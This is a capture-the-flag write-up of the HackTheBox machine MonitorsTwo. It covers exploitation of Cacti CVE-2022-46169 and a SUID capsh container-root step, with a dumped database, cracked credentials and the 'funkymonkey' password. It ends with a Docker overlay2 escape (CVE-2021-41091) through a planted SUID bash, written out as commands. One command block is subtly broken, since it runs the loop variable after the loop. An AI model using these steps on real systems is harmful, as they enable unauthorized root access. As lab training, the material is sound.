MonitorsTwo
Box Info
Platform: HackTheBox, OS: Linux (Ubuntu 20.04 host, Debian container), Difficulty: Easy, Released: 2023-04-22, IP: 10.10.11.211 , monitorstwo.htb
Attack Path
- The site is Cacti 1.2.22.
remote_agent.phpis vulnerable to CVE-2022-46169, an unauthenticated command injection, and it lands a shell aswww-datainside a Docker container. - In-container privesc:
/sbin/capshis SUID, socapsh --gid=0 --uid=0 --gives a root shell in the container (GTFOBins). entrypoint.shandinclude/config.phphold MySQLroot:root. Dumpuser_auth, crackmarcus’s bcrypt hash, and SSH to the host asmarcus./var/mail/marcusspells out CVE-2021-41091 (Moby data-dir permissions). Make/bin/bashSUID inside the container, then execute that binary from the host through/var/lib/docker/overlay2/<id>/merged/to get root on the host.
Credentials and Flags
| Where | Value |
|---|---|
Cacti / MySQL (entrypoint.sh, config.php) | root : root |
marcus (cracked bcrypt from user_auth) | funkymonkey |
user.txt | /home/marcus/user.txt |
root.txt | /root/root.txt |
Overview
MonitorsTwo is the sequel to Monitors, and going in I already expected it to follow the same 2023-easy-box formula: a guided tour through a public CVE chain with a container sitting in the middle of it. It didn’t disappoint, and there were three things I made a point of actually internalizing rather than just executing on autopilot. First, CVE-2022-46169 turned out to be a great example of an authorization bypass and a command injection working together rather than as two separate bugs: the remote_agent.php endpoint is supposed to be locked down to trusted poller hosts, but the check that enforces that trusts a fully spoofable X-Forwarded-For header, and once I got past that gate, the poller_id parameter flowed straight into a shell command. Second, the box forced me to actually notice I’d landed inside a container rather than on the host itself. Things like /.dockerenv, an overlay root mount, and a visibly reduced capability set were all tells, and picking the right escape technique depended on recognizing that context first. Third, the jump from container-root to host-root came down to CVE-2021-41091, where Docker left the overlay2 data directories world-traversable, meaning a SUID binary I planted inside the container was directly executable by my unprivileged host user through the merged filesystem path.
I’ve run into this same family of issues on several other boxes, which is worth noting for anyone building intuition across a range of targets rather than memorizing one machine at a time. On the Cacti side, Monitored pairs SNMP with a different Cacti CVE, and Cactus hits Cacti again from another angle. On the container-escape side, Analytics leaks its way out through environment variables, and Jupiter does something similar. And for “crack a hash pulled straight from the application’s own database,” I’d point to Cat and Bizness as close cousins of what I did here with user_auth.
Full Walkthrough
Nmap scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Login to Cacti
(A full -p- scan also lists dozens of filtered ports, which is just the lab firewall tarpitting. Ignore them.)

The screenshot confirmed what the nmap output already hinted at: this was a cacti login page, and the footer conveniently gave me the exact version, 1.2.22, without any further guesswork. Before committing to that as my only avenue, I ran a vhost sweep with ffuf just to rule out anything hiding on a subdomain, since I’ve been burned before by tunnel-visioning on the obvious target. That sweep came back as pure noise, every Host: value answered with the same zero-byte body, which told me there was nothing to find there and I could focus entirely on the Cacti instance itself.
ffuf -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -c \
-u http://monitorstwo.htb -H "Host: FUZZ.monitorstwo.htb" --mc all --fs 13844CVE-2022-46169, Cacti unauthenticated command injection
Cacti 1.2.22 ships remote_agent.php, an endpoint meant only for remote data collectors. Its authorisation check resolves the client hostname from X-Forwarded-For and compares it to the poller entries, so setting X-Forwarded-For: <a known poller host or the server's own name> passes the check without credentials. Past that, the poller_id parameter is concatenated into a proc_open() call in the SNMP options path, so a value like ;id; or a full bash -c payload executes as www-data. Public PoCs (for example the one by ptrpudel or the Metasploit module linux/http/cacti_unauthenticated_cmd_injection) automate both halves.
I see that this version of cacti is vulnerable to CVE-2022-46169. We get a shell after exploiting it.
The shell is inside a container. / has /.dockerenv and /entrypoint.sh:
#!/bin/bash
set -ex
wait-for-it db:3306 -t 300 -- echo "database is connected"
if **! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices"**; then
mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql
...
fi
chown www-data:www-data -R /var/www/html
exec "$@"MySQL is root:root on the db container (same creds in include/config.php).
Container root with SUID capsh
we need to escape the docker container. To get root in the container, GTFOBins capsh:
www-data@50bca5e748b0:/$ ls -l /sbin/capsh
-rwsr-xr-x 1 root root ... /sbin/capsh
www-data@50bca5e748b0:/$ /sbin/capsh --gid=0 --uid=0 --
root@50bca5e748b0:/#Why SUID capsh is instant root
capsh is a capability-shell wrapper. With the SUID bit set it starts as root, and --gid=0 --uid=0 -- tells it to drop to uid/gid 0 (that is, stay root) and then exec an interactive shell. No exploit, just a misconfigured setuid binary. Same idea as SUID bash, find, nmap, vim. Always run find / -perm -4000 -type f 2>/dev/null early.
Loot the database, crack marcus, SSH to the host
mysql --host=db --user=root --password=root cacti -e "SELECT username,password FROM user_auth"| id | username | password |
| 1 | admin | $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC |
| 3 | guest | 43e9a4ab75570f5b |
| 4 | marcus | $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C |
hashcat -m 3200 marcus.hash /usr/share/wordlists/rockyou.txt$2y$ is bcrypt, mode 3200. marcus cracks to funkymonkey. That password is reused for the host account:
ssh marcus@monitorstwo.htb # funkymonkey
user.txt is here. Now enumerate the host.
Privilege Escalation, CVE-2021-41091 (Docker overlay)
/var/mail/marcus is a security bulletin that all but names the exploit:
CVE-2021-41091: This vulnerability affects Moby ... Attackers could exploit this
vulnerability by traversing directory contents and executing programs on the data
directory with insufficiently restricted permissions. Fixed in Moby 20.10.9.
Running containers should be stopped and restarted for the permissions to be fixed.CVE-2021-41091, exploiting the overlay2 directory
Before Moby 20.10.9, /var/lib/docker/overlay2/ and the per-container merged/ directories were left o+rx, so any user on the host could cd into a running container’s filesystem. If you are root inside the container you can create a SUID root binary there; that same inode is visible from the host at /var/lib/docker/overlay2/<hash>/merged/... and, being SUID root and owned by real root, it grants root when a normal host user runs it.
Steps:
- In the container root shell:
chmod u+s /bin/bash - On the host as
marcus, find the writable upperdir.mount | grep overlay(from the container’s earlier linpeas output) shows theupperdir=/var/lib/docker/overlay2/<hash>/diff. Iterate the candidates:
for d in /var/lib/docker/overlay2/*/diff/bin/bash; do
ls -l "$d" 2>/dev/null | grep -- '-rwsr'
done
"$d" -p # the SUID bash -> euid 0 on the host
id # uid=1000(marcus) euid=0(root)
cat /root/root.txtroot@50bca5e748b0:/# chmod u+s /bin/bash
From the host, execute that SUID bash -p through the container’s diff (or merged) directory and you are root.
Loot
| Flag | Location |
|---|---|
user.txt | /home/marcus/user.txt |
root.txt | /root/root.txt |
Lessons and Takeaways
- Patch Cacti. CVE-2022-46169 is unauthenticated RCE and was widely scanned within days.
- Do not trust
X-Forwarded-Forfor authorisation. Ever. It is fully attacker controlled. - Audit SUID binaries in container images.
capsh,mount,bash,findwith the setuid bit turn a low-priv container shell into container root. - Keep Docker / Moby current. The overlay permissions bug means container root can become host root on an unpatched engine, and restarting containers after upgrade is required to actually fix perms.
- Unique service credentials. Cacti admin, MySQL root, and the
marcusLinux account should not share a wordlist-crackable password. - bcrypt is slow on purpose.
funkymonkeyonly fell because it is in rockyou; a random password here would have stopped the chain.
Related Writeups
- Cacti: Monitored, Cactus
- Unauthenticated web RCE, N-day: Analytics, Bizness, Heal
- Container to host escape: Analytics, Jupiter
- SUID binary via GTFOBins: Antique (
lpadmin/CUPS), Lookup, BackFire - Crack a hash from the app database: Cat, Bizness
References
- CVE-2022-46169 (Cacti) https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf
- CVE-2021-41091 (Moby) https://github.com/moby/moby/security/advisories/GHSA-mc8v-mgrf-8f4m
- GTFOBins capsh https://gtfobins.github.io/gtfobins/capsh/
- hashcat modes https://hashcat.net/wiki/doku.php?id=example_hashes